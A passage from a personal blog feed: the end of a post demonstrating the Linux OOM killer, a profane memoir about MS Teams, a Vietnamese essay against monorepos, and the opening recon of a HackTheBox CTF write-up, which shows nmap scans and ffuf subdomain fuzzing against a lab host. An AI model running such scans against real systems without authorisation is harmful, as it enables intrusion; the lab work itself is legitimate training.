&lt;p&gt;The victim script, the innocent guy. But, it be easily target by OS because it have higher oom_score (oom_score_adj=1000)&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# cat victim.py &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#!/usr/bin/python3&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# victim.py&lt;/span&gt;
import os
import &lt;span class=&quot;nb&quot;&gt;time

&lt;/span&gt;pid &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; os.getpid&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
print&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Current PID: &quot;&lt;/span&gt;, pid&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Make this process preferred OOM target&lt;/span&gt;
with open&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;s2&quot;&gt;&quot;/proc/{pid}/oom_score_adj&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; as f:
    f.write&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1000&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

print&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Victim running (innocent)...&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;True:
    time.sleep&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I ran two scripts as two guy, one bad guy and one good&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# ./victim.py &amp;amp; &lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1] 4333
Current PID:  4333
Victim running &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;innocent&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;...

&lt;span class=&quot;c&quot;&gt;# ./hogger.py &amp;amp;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2] 4380
current PID:  4380
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I check running process&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# ps aux | grep &quot;.py&quot;&lt;/span&gt;
root        4333  0.0  0.4  19696  8064 pts/0    S    14:54   0:00 /usr/bin/python3 ./victim.py
root        4380  2.5 10.0 212960 201344 pts/0   R    14:54   0:00 /usr/bin/python3 ./hogger.py
root        4409  0.0  0.1   9736  2176 pts/0    S+   14:54   0:00 &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; .py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# dmesg | grep -i &quot;killed&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;  839.048830] Out of memory: Killed process 4333 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;victim.py&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; total-vm:19696kB, anon-rss:128kB, file-rss:2048kB, shmem-rss:0kB, UID:0 pgtables:68kB oom_score_adj:1000
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;  839.208546] Out of memory: Killed process 3766 &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;sd-pam&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; total-vm:168824kB, anon-rss:2900kB, file-rss:1024kB, shmem-rss:0kB, UID:0 pgtables:92kB oom_score_adj:100
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;  839.341809] Out of memory: Killed process 3765 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;systemd&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; total-vm:18756kB, anon-rss:1408kB, file-rss:2048kB, shmem-rss:0kB, UID:0 pgtables:80kB oom_score_adj:100
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;  839.453650] Out of memory: Killed process 3630 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;dockerd&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; total-vm:1311288kB, anon-rss:31276kB, file-rss:2048kB, shmem-rss:0kB, UID:0 pgtables:344kB oom_score_adj:0
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;  840.724121] Out of memory: Killed process 4110 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;exim4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; total-vm:29856kB, anon-rss:12200kB, file-rss:1664kB, shmem-rss:0kB, UID:104 pgtables:96kB oom_score_adj:0
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;  840.727999] Out of memory: Killed process 3644 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;unbound&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; total-vm:102252kB, anon-rss:10744kB, file-rss:2048kB, shmem-rss:0kB, UID:105 pgtables:100kB oom_score_adj:0
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;  841.976443] Out of memory: Killed process 4441 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;dockerd&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; total-vm:1087756kB, anon-rss:8580kB, file-rss:1792kB, shmem-rss:0kB, UID:0 pgtables:212kB oom_score_adj:0
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;  842.808361] Out of memory: Killed process 3762 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;sshd&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; total-vm:17776kB, anon-rss:1664kB, file-rss:2176kB, shmem-rss:0kB, UID:0 pgtables:72kB oom_score_adj:0

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because the OS will consider process will be killed by oom_score, the process has the highest oom_score will be killed first (so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;victim.py&lt;/code&gt;  will be killed first), and continue do the same until OS has free enough space. That is why we have many process was killed then.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/understand-html077.png&quot; alt=&quot;OOM Status Flow&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In real case (we met before), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;keydb-server&lt;/code&gt; is a important service we need to keep first, but maybe has another process triggered OOM (or even the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;keydb-server&lt;/code&gt; itself. Idk. But it wasn’t important because we need an evidence to show that) and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;keydb-server&lt;/code&gt; consume lot of memory too, but it can’t be easily killed.&lt;/p&gt;

&lt;p&gt;After all, I think we need something like catch syscall event (SIGKILL in this case, thinking a lot about &lt;strong&gt;eBPF&lt;/strong&gt;), the data can be dump process usage in somewhere, this help us investigate what happened at that time.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/oom-killer.png&quot; alt=&quot;OOM Killer&quot; /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Memoir of June 12, 2025</title>
   <link href="https://vuvietnguyenit.github.io/memoir"/>
   <updated>2025-06-12T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/Memoir</id>
   <content type="html">&lt;p&gt;Recently, I felt tired and have many bad emotions because I working with MS Teams, Telegram has been banned in Vietnam recently. So, my team move to this platform of MS, I very hate that, in my opinion that is fucking platform, even it doesn’t exists on Linux. Damn it!!. As a SRE, I don’t want to do tasks related to Microsoft Platforms, I like UNIX, I like command-line interface, I want to use programing language or script to resolve my problem, not Drag/Drop and my co-workers don’t like MS as well. MS Teams can be familiar with almost standards users but if you do tasks related to interaction with Teams’s API, Workflow, Push-notification problems …&lt;/p&gt;

&lt;p&gt;I felt so damn pissed, I swore way too many times because of it 🙂, even though my boss was sitting right next to me.&lt;/p&gt;

&lt;p&gt;We don’t want to add more platform related to messaging jobs, I think we just need one. And then, we decided to choose MS Teams, and this make a lot of fucking emotion problem to me 😄.&lt;/p&gt;

&lt;p&gt;My boss and I have some discussions about: “How we can help another teams can subscribe ours alerts, they can have full control with their alerts as they want, then we (my team) don’t do more anything, we need to focus on operation job, make the system reliable, secure and fast,…” Or, we just go to the office, have some talks, then go to swim at lunch, read some books in the afternoon and go home with their wife (or many wife) or pick some lucky girls to go out at night 🥰 (very true, i like it).&lt;/p&gt;

&lt;p&gt;Back to my story. I think i have a good design to my Alertmanager system as my above idea, i will write up about it in another day, but most of problem related to Teams’s Workflow, Mobile push-notification, and I had some smart idea to improve it to better. It took away a lot of my joy over the past few days. I did get something back when I solved the problem though it felt like an unequal trade-off.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/ms_team_workflow.png&quot; alt=&quot;fucked workflow&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I can’t believe this is how a message is created and sent in MS Teams. I don’t like C#, so I hate it, and I have no intent to learn it, although I must write some expressions to interact with data structure in this job, this isn’t problem with me.&lt;/p&gt;

&lt;p&gt;Let’s throw these things out off my self when I finish this task.
&lt;em&gt;**&lt;/em&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Kick Your Ass, Monorepo Mindset!</title>
   <link href="https://vuvietnguyenit.github.io/blame-monorepo"/>
   <updated>2025-03-27T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/blame_monorepo</id>
   <content type="html">&lt;h1 id=&quot;blame-monorepo&quot;&gt;Blame Monorepo&lt;/h1&gt;

&lt;p&gt;Nếu dùng để quản lý cấu hình tâp trung thì ok, chúng ta có thể tracking tất cả những thay đổi trên toàn bộ hệ thống của chúng ta trên một repo tập trung, điều này rõ ràng là tiện dụng vì không cần quản lý quá nhiều cấu hình lẻ tẻ ở những nơi khác nhau.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tuy nhiên, đối với source code. Hãy thử nghĩ về việc làm điều tương tự như với configuation management. Well, we should not do it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Bởi vì source code thì chúng ta cần build, packaging, release it. Sẽ thật vô nghĩa nếu release không có version. Sẽ thật khốn kiếp nếu có điều gì đó xảy ra và chúng ta cần revert chúng về version trước đấy. Khi bạn cho tất cả source code vào a mono-repo.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Hoặc là bạn sẽ manual tagging version nó theo folder mà bạn chỉ định.&lt;/li&gt;
  &lt;li&gt;Hoặc là bạn sẽ cần tagging và build lại toàn bộ repo khổng lồ khi bạn thay đổi một phần rất nhỏ.&lt;/li&gt;
  &lt;li&gt;Bạn muốn quản lý a build script phức tạp thay vì nhiều scripts build khác ở nhiều nơi ? Điều gì sẽ xảy ra khi có một thành phần mới xuất hiện trong project của bạn, và bạn sẽ phải cập nhật lại build script tương tương ứng với sự thay đổi đó ? Sẽ không có tính tái sử dụng nào ở đây cả!&lt;/li&gt;
  &lt;li&gt;Bạn muốn bỏ lỡ tất cả những tính năng tuyệt vời sẵn có mà Source Version Control đem lại không. Hay bạn muốn &lt;strong&gt;build lại một cái bánh xe to hơn nhưng thực sự cái bánh xe to đó nó không giúp xe của bạn đi nhanh hơn&lt;/strong&gt;!!!!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nghe có vẻ hợp lý và uy tín khi trong blog này đề cập đến việc Google sử dụng Monorepo:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://blog.bytebytego.com/p/ep62-why-does-google-use-monorepo&quot; title=&quot;Why does Google use Monorepo?&quot;&gt;Why does Google use Monorepo?&lt;/a&gt; by Alex Xu&lt;/p&gt;

&lt;p&gt;Thật sự thì, Google họ sử dụng nhiều mô hình khác nhau, không chỉ riêng Monorepo. Bài viết được đăng tải vào năm 2023 bởi một blogger tương đối nổi tiếng. For fuck’s sake, I honestly can’t call this a complete article :D&lt;/p&gt;

&lt;p&gt;Việc Google sử dụng mô hình monorepo xảy ra từ trước khi sự phát triển mạnh mẽ của Source Version Control và CI/CD khi codebase của họ tại thời điểm đó bản chất được quản lý trên một legacy centralized version control system (có thể hiểu đơn giản là self-host).
Chưa kể, câu chuyện ở đây là đối với một repo lưu trữ C programing language code. Về bản chất họ muốn việc quản lý các dependencies phức tạp trở nên thuận tiện dẫn đến việc tạo ra sân chơi cho monorepo để tất cả mọi thứ đều có thể tái sử dụng và gọi lẫn nhau.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://cacm.acm.org/research/why-google-stores-billions-of-lines-of-code-in-a-single-repository/&quot; title=&quot;Why Google Stores Billions of Lines of Code in a Single Repository&quot;&gt;Why Google Stores Billions of Lines of Code in a Single Repository&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Sau câu chuyện này, họ đã mất rất nhiều tiền và công sức để thực hiện migrate nó. Đây là bài học được rút ra.
Ngoài ra, kể cả Kubernetes moved to GitHub from a monorepo https://github.com/kubernetes/kubernetes/issues/24343.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://kccnceu2023.sched.com/event/1HycF/mission-accomplished-kubernetes-is-not-a-monorepo-now-our-work-begins-justin-santa-barbara-google-ciprian-hacman-microsoft&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tuy nhiên, bài đăn của blogger nổi tiếng kia được đăng tải vào năm 2023. Làm ít nhiều người đọc có những suy nghĩ rằng: “Google đã làm được, vậy thì chúng ta hãy học theo và áp dụng nó như best practice như Google đã làm” mà không thực sự hiểu được ngữ cảnh tại sao nó lại được sử dụng như vậy ? Quy mô của mình có đang giống với quy mô của Google không ?&lt;/p&gt;

&lt;p&gt;Tóm lại, monorepo không còn phù hợp ở thời điểm hiện tại để lưu trữ source code, công nghệ đang dần thay đổi và chúng ta phải thích nghi với nó. Đừng cố &lt;strong&gt;Reinventing the wheel&lt;/strong&gt; và phức tạp hóa mọi thứ. Một người kỹ sư khôn ngoan luôn biết cách làm một công việc bằng cách đơn giản nhất có thể.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Fucking shit cái hacking challenge củ b` này đã làm đầu óc tôi bận rộn 2 ngày cuối tuần vừa rồi.</title>
   <link href="https://vuvietnguyenit.github.io/htb-linkvortex-writeup"/>
   <updated>2025-01-20T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/HTB_Linkvortex_writeup</id>
   <content type="html">&lt;h1 id=&quot;linkvortex&quot;&gt;LinkVortex&lt;/h1&gt;

&lt;p&gt;Đây là dạng &lt;a href=&quot;https://ctf-wiki.org/en/introduction/mode/#jeopardy-problem-solving&quot;&gt;Jeopardy CTF: Problem Solving&lt;/a&gt; CTF. Room này phù hợp với những người đang làm hoặc có định hướng theo Redteam hoặc Pentest với các skill bao gồm: Recon, Web-Exploitation, Git Exposed Exploit, Shell script,…&lt;/p&gt;

&lt;p&gt;Room này tôi mất khoảng 2 ngày (8h để có thể suy nghĩ và exploit được nó) mà k cần đọc bất cứ writeup nào. Vì mỗi lần khó khăn đi đọc writeup, tôi cảm thấy như tôi đang tự xúc phạm và hạ thấp kiến thức của chính bản thân mình, tôi thấy không thỏa đáng khi làm điều này :).
Nên tôi đành pause và nghiên cứu, chấp nhận tốn thời gian chứ k phải đi đường tắt.
Link room: https://app.hackthebox.com/machines/LinkVortex&lt;/p&gt;

&lt;h1 id=&quot;tiếp-cận&quot;&gt;Tiếp cận&lt;/h1&gt;

&lt;p&gt;Dĩ nhiên, nếu một CTF game thông thường thì việc scan port thì bạn cũng sẽ không cần suy nghĩ quá nhiều&lt;/p&gt;

&lt;h2 id=&quot;open-port-scan&quot;&gt;Open port scan:&lt;/h2&gt;

&lt;p&gt;Scan trước các port các port có thể đang mở trên máy. Hãy thoải mái khi dùng &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-T5&lt;/code&gt; bởi vì đây là 1 CTF game&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# docker run &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; parrotsec/tools-nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-Pn&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-T5&lt;/span&gt; 10.10.11.47
Starting Nmap 7.92 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2025-01-20 03:21 UTC
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.10.11.47
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.15s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Not shown: 998 closed tcp ports &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;reset&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Có 2 port đang mở trên máy mục tiêu. Hãy khám phá thêm thông tin về OS, service hay version của ports đang mở đó&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# docker run &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; parrotsec/tools-nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p22&lt;/span&gt;,80 &lt;span class=&quot;nt&quot;&gt;-T5&lt;/span&gt; 10.10.11.47
Starting Nmap 7.92 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2025-01-20 03:26 UTC
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.10.11.47
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.15s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; protocol 2.0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
80/tcp open  http    Apache httpd
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;99%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, Linux 4.15 - 5.6 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;95%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, Linux 5.0 - 5.4 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;95%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, Linux 5.3 - 5.4 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;95%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, Linux 2.6.32 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;95%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, Linux 5.0 - 5.3 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;94%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, Linux 5.4 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;94%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, Linux 3.1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;94%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, Linux 3.2 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;94%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, AXIS 210A or 211 Network Camera &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Linux 2.6.17&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;94%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
No exact OS matches &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;host &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;test &lt;/span&gt;conditions non-ideal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Network Distance: 3 hops
Service Info: OS: Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Các thông tin này có thể hữu ích trong mục đích điều tra trong tương lai. Điều đáng chú ý là có một port đang được open, đây là một website. Thử truy xuât vào và khám phá xem có điều gì đang diễn ra&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# curl  http://10.10.11.47
&amp;lt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;DOCTYPE HTML PUBLIC &lt;span class=&quot;s2&quot;&gt;&quot;-//IETF//DTD HTML 2.0//EN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&amp;lt;html&amp;gt;&amp;lt;&lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Moved Permanently&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;The document has moved &amp;lt;a &lt;span class=&quot;nv&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://linkvortex.htb/&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;here&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Oh, có vẻ như website đang redirect đến một domain khác, đây là một local domain được chỉ định sẵn, đối với những kết quả như thế này. Trên 50% khả năng sẽ có một subdomain khác được bao gồm.&lt;/p&gt;

&lt;p&gt;Chưa cần vội kiểm tra xem website có gì, hãy thu thập thêm thông tin để có góc nhìn rộng hơn và verify chính xác trên 50% khả năng tồn tại subdomain đã nói bên trên.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Trước hết cần chỉ định trỏ đến domain để có thể access vào website mục tiêu&lt;/em&gt;&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;127.0.0.1       localhost
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.11.47 linkvortex.htb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;subdomain-scan&quot;&gt;Subdomain scan&lt;/h2&gt;

&lt;p&gt;Chọn ra một wordlists để từ đó có thể tạo một fuzzing payload. Nên thử trước với những wordlists ngắn để tối ưu thời gian:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# fdfind &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;*domain*&quot;&lt;/span&gt; /usr/share/seclists/
/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
/usr/share/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt
/usr/share/seclists/Discovery/DNS/combined_subdomains.txt
/usr/share/seclists/Discovery/DNS/italian-subdomains.txt
/usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt
/usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
/usr/share/seclists/Discovery/DNS/subdomains-spanish.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
/usr/share/seclists/Fuzzing/User-Agents/software-name/domain-re-animator-bot.txt
/usr/share/seclists/Fuzzing/User-Agents/software-name/domaintools-surveybot.txt
/usr/share/seclists/Fuzzing/email-top-100-domains.txt
/usr/share/seclists/IOCs/kaspersky-careto-domains.txt
/usr/share/seclists/Miscellaneous/domains-1million-top.txt
/usr/share/seclists/Miscellaneous/top-domains-alexa.csv.zip
/usr/share/seclists/Miscellaneous/top-domains-majestic.csv.zip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ở đây mình sẽ chọn &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt&lt;/code&gt; wordlist để thử trước tiên.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sử dụng ffuf để thực hiện subdomain enum&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# docker run &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:/tmp/wordlist.txt &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; /etc/hosts:/etc/hosts secsi/ffuf &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; http://linkvortex.htb &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Host: FUZZ.linkvortex.htb&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-w&lt;/span&gt; /tmp/wordlist.txt &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fs&lt;/span&gt; 12148

        /&lt;span class=&quot;s1&quot;&gt;&apos;___\  /&apos;&lt;/span&gt;___&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;          /&lt;span class=&quot;s1&quot;&gt;&apos;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb
